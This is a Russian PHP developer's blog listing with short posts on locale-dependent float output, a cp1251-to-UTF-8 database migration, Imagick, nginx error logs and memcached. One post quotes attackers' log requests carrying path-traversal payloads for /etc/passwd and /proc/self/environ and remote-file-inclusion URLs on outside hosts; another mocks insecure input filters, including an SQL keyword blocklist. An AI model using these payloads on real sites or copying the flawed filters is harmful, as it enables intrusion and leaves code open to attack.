заметки на полях

Блокнот разработчика

Currently browsing php

Как float зависит от локали?!

На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло – я вовремя нагуглил правильный ответ :) Теперь собственно к делу. Вот код и ожидаемый результат его выполнения:

$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3.14

У меня же получился другой вариант, от которого я честно говоря подвис:

$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3,14

Выяснилось что результат зависит от установки локали, у меня стояло: setlocale(LC_ALL, "ru_RU.UTF8"); пока остановился на таком варианте:

setlocale(LC_CTYPE, "ru_RU.utf8");
setlocale(LC_TIME, "ru_RU.utf8");

PHP у меня 5.2.10, а баг сей я так понимаю тащится аж с 2002 года версии 4.3.0 RC2: Bug #17079 setlocale changes the internal representation of floats

Перевод сайта c cp1251 на UTF-8

Для начала перевести БД из cp1251 в utf8.
Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev > dump.sql – получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev > data.sql, поменять кодировку полей в схеме, вместо:

name varchar(64) character SET cp1251 NOT NULL

сделать

name varchar(64) character SET utf8 NOT NULL

или же убрать упоминание кодировки из полей вовсе:

name varchar(64) NOT NULL

так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:

ALTER DATABASE svdev DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci

и залить назад в обратном порядке – сначала структуру, затем данные.
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо – типа tiny просто вынес сначала из проекта, а затем вернул обратно: Read more »

Hacking часть II

Продолжаю серию забавных вещей из логов: Read more »

Hacking часть I

Обнаружил в логах довольно забавную картину по поиску слабых мест :)

client: 83.168.217.53, server: ***, request: "GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&a=resume&id=846 HTTP/1.0"

Ну и дальше вместо всех переменных пробуем подставлять:

/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00

Что самое интересное – откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.

А вот ходят по другому поводу

client: 203.237.238.234, server: ***, request: "GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"

client: 203.237.238.234, server: ***, request: "GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"

Интересно, что за сканер такой, или руками?

PHP библиотека GD в debian сборке или выкидываем GD на помойку

В ходе работы выяснилась неприятная вещь – в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение – ImageMagick и PHP обертка для нее Imagick.
Собственно давно уже пора переходить на её использование:

  • быстрее
  • возможность выбора различных фильтров при ресайзе
  • ОО интерфейс
  • нет необходимости заморачиваться с типами файлов – все уже сделано за нас
  • эксепшены вместо ошибок

Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.
Read more »

Вывод ошибок PHP в логи nginx

После того как не осталось Apache, то и негде посмотреть ошибки PHP привычным способом (в логах Апача); сделаем что бы nginx вел лог ошибок PHP. nginx перехватывает то, что ему пришло от php-fastcgi на stderr и пишет это в лог Read more »

Юмор: защита сайта от взлома

Встретилось в контексте защиты сайта. 2 предложенных варианта фильтрации входящих данных, один другого хлеще :)

1
2
3
4
5
6
7
8
9
10
11
12
13
foreach($_GET as $key => $val) {
$$key = stripslashes(strip_tags(htmlspecialchars($val, ENT_QUOTES)));
}
foreach($_POST as $key => $val) {
if (gettype ($val)!='array') {
$$key = stripslashes(strip_tags(htmlspecialchars($val, ENT_QUOTES)));
} else {
foreach($val as $k => $v) {
$$val[$k] = stripslashes(strip_tags(htmlspecialchars($v, ENT_QUOTES)));
}
$$key=$val;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
$post_arr=implode('.',$_POST);
$get_arr=implode('.',$_GET);
$cook_arr=implode('.',$_COOKIE);
$post_arr_key=implode('.',@array_flip($_POST));
$get_arr_key=implode('.',@array_flip($_GET));
$cook_arr_key=implode('.',@array_flip($_COOKIE));
$other_shtuki=@file_get_contents('php://input');
$cracktrack = strtolower($post_arr.$get_arr.$cook_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);
$wormprotector = array('union','select','substring','/**/'); //тут дополни по своему вкусу кейворды SQL- и PHP-инжекторов
$checkworm = str_replace($wormprotector, '*', $cracktrack);
if ($cracktrack != $checkworm)
die("");
?>

С бескрайних просторов searchengines

php + memcached

Установим все что может понадобиться для использования связки php + memcached.
Read more »